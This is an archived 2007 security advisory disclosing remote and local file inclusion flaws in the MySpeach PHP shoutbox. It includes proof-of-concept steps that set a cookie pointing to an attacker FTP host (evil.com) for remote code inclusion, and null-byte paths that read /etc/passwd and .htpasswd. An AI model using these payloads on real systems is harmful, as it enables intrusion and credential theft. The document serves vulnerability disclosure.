MySpeach <= 3.0.7 Remote/Local File Inclusion Vulnerability

2007-04-05T00:00:00
ID SECURITYVULNS:DOC:16587
Type securityvulns
Reporter Securityvulns
Modified 2007-04-05T00:00:00

Description

/=======================================\
| Advisory :: MySpeach <= 3.0.7      |
+=======================================+---------------------------------------------------------------\
|                                                   |
|      Download link : http://www.graphiks.net/scripts-php/script-7-1-0.html                |
|   Official website : www.graphiks.net                                 |
|               Type : Chat without any database (only txt files)                   |
|        Vuln. found : Remote/Local File inclusion (& Full Path Disclosure)             |
|     Conditions : Vuln #1 : PHP >= 5.0.0, register_globals = On, allow_url_fopen = On       |
|                      Vuln #2 : register_globals = On                          |
|     Risk level : High                                     |
|                                                   |
+-------------------------------------------------------------------------------------------------------+
|                                                   |
| Program audited by : Xst3nZ <xst3nz@gmail.com> [fr/en]                      |
|               Date : 2007-04-03                                   |
|    Last update : 2007-04-03                                   |
|                                                   |
+-------------------------------------------------------------------------------------------------------+
|        Summary :  0] Description                                  |
|           1] Vuln#1 : Remote File Inclusion                       |
|           2] Vuln#2 : Local File Inclusion                        |
|           3] Links & Documentation                            |
\-------------------------------------------------------------------------------------------------------/

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= <0> DESCRIPTION =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

MySpeach is a shoutbox coded in PHP which works without any database. Indeed, it uses only text files to save the messages. To my mind, it's a good script, but let's see the security, although there was a lot of different versions to correct vulnerabilities. So, the show must g0 on ...

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= <1> VULNERABILITY #1 : REMOTE FILE INCLUSION (WITH FULLPATHDISCL)

{ Cond: PHP>=5.0.0; register_globals=On; allow_url_fopen=On }

Firstly, after the installation, the code which must be put in the page to display the shoutbox MySpeach is the following :

+--------8<-------- | <?php | $my_ms['root']="/full/path/myspeach"; // Contains the realpath of the directory where myspeach is installed | include($my_ms['root'].'/chat.php'); // Then, the file 'chat.php' is included | ?> +--------8<--------

Let's see what is it interesting in the file 'chat.php' :

+--------8<-------- | // [...] line 15 | $clef = ''; $data = ''; | $listedesvariablesensible = array('ip_list', 'my_ms[root]','my_ms[site]','my_ms[absolu_root]','my_ms[msg_txt]', | 'my_ms[id_unique]','my_ms| [copyright]','my_ms[skin]','my_ms[version]'); | foreach($listedesvariablesensible as $clef => $data) | { | $afiltrer = $data; | if(isset($_GET[$afiltrer]) || isset($HTTP_GET_VARS[$afiltrer])) | { | $_GET[$afiltrer] = ''; | $HTTP_GET_VARS[$afiltrer] = ''; | } | if(isset($_POST[$afiltrer]) || isset($HTTP_POST_VARS[$afiltrer])) | { | $_POST[$afiltrer] = ''; | $HTTP_POST_VARS[$afiltrer] = ''; | } | } | // Line 32 [...] +--------8<--------

So this code filters all the variables $_GET/$HTTP_GET_VARS and $_POST/$HTTP_POST_VARS with a same name that the variables which are used in the script, and it reinitializes their values. However, the vars $_COOKIE are not filtered by this code.

Besides, we can read the following code :

+--------8<-------- | // [...] line 35 | if(!@file_exists($my_ms['root'].'/admin/config.php')) | exit('<br /><p align="center">MySpeach n est pas encore installé.</p>'); | | //On inclut les fichiers de config (config files are included) | include($my_ms['root'].'/admin/config.php'); | include($my_ms['root'].'/admin/options.php'); | include($my_ms['root'].'/admin/setup.php'); | include($my_ms['root'].'/admin/fonctions.php'); | // line 45 [...] +--------8<--------

The $my_ms['root'] parameter can be overwritten with a cookie if register_globals = On in the 'php.ini', because $my_ms['root'] is not initialized (see [1]). Therefore, it can deals a Remote File Inclusion (RFI). Nevertheless, the RMI will work only if the server is running on PHP >= 5 because in this version, the file_exists() function can be used with some URL wrappers (see [2] & [3]) if allow_url_fopen = On in the 'php.ini' (ftp:// can be used for example but not http://).

+---->> Vuln. #1 Pro0f of Concept <<--------// | | - Create a cookie : | Name : my_ms[root] | | Value : ftp://user:password@evil.com | | Host : www.victim.com | - Create a file called 'config.php' in a folder called 'admin' to obtain a path like that : evil.com/admin/config.php | - Then, go on the page : www.victim.com/[myspeach_install_directory(default: myspeach)]/chat.php | * If you get the following error message : "MySpeach n est pas encore installé.", the vulnerability cannot be | exploited, probably because the version of PHP is under 5.0.0 and/or register_globals = Off and/or | allow_url_fopen = Off. | * Else, the RFI will work and, in the same time, a lot of inclusion errors will appears because the script try | to include another files like 'admin/options.php', 'admin/setup.php' ... (but the RFI must be done with 'config.php' | because if file_exists($my_ms['root']) return false, the function exit() will be called ...). | Particularly, it sparks a Full Path Disclosure : | [ Fatal error: Call to undefined function my_MS_plus_un() in /full/path/myspeach/chat.php on line [line] | +-------------------------------------------

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= <2> VULNERABILITY #2 : LOCAL FILE INCLUSION (WITH FULLPATHDISCL)

{ Cond: only register_globals=On }

It is also possible to include a local file by using the Null Byte char \x0 (urlencoded: %00). It will also spark a FullPathDiscl.

+---->> Vuln. #2 Pro0f of Concept <<-------- | | - See the Vuln#1 PoC, but change the value of the cookie created, by the path of a local file ended with %00. | Example : /etc/passwd%00; ../admin-panel/.htpasswd%00 ... and it will work if register_globals=On | +-------------------------------------------//

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= <3> LINKS & DOCUMENTATION =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[1] register_globals Security http://www.php.net/manual/it/security.globals.php

[2] file_exists() function http://www.php.net/manual/en/function.file-exists.php

[3] List of Supported Protocols/Wrappers http://www.php.net/manual/en/wrappers.ftp.php and especially for FTP/FTPS: http://www.php.net/manual/en/wrappers.ftp.php (we also learn that HTTP/HTTPS protocols aren't supported by stat() and so, by file_exists() : http://www.php.net/manual/en/wrappers.http.php)

// [EOF] Xst3nZ

milw0rm.com [2007-04-03]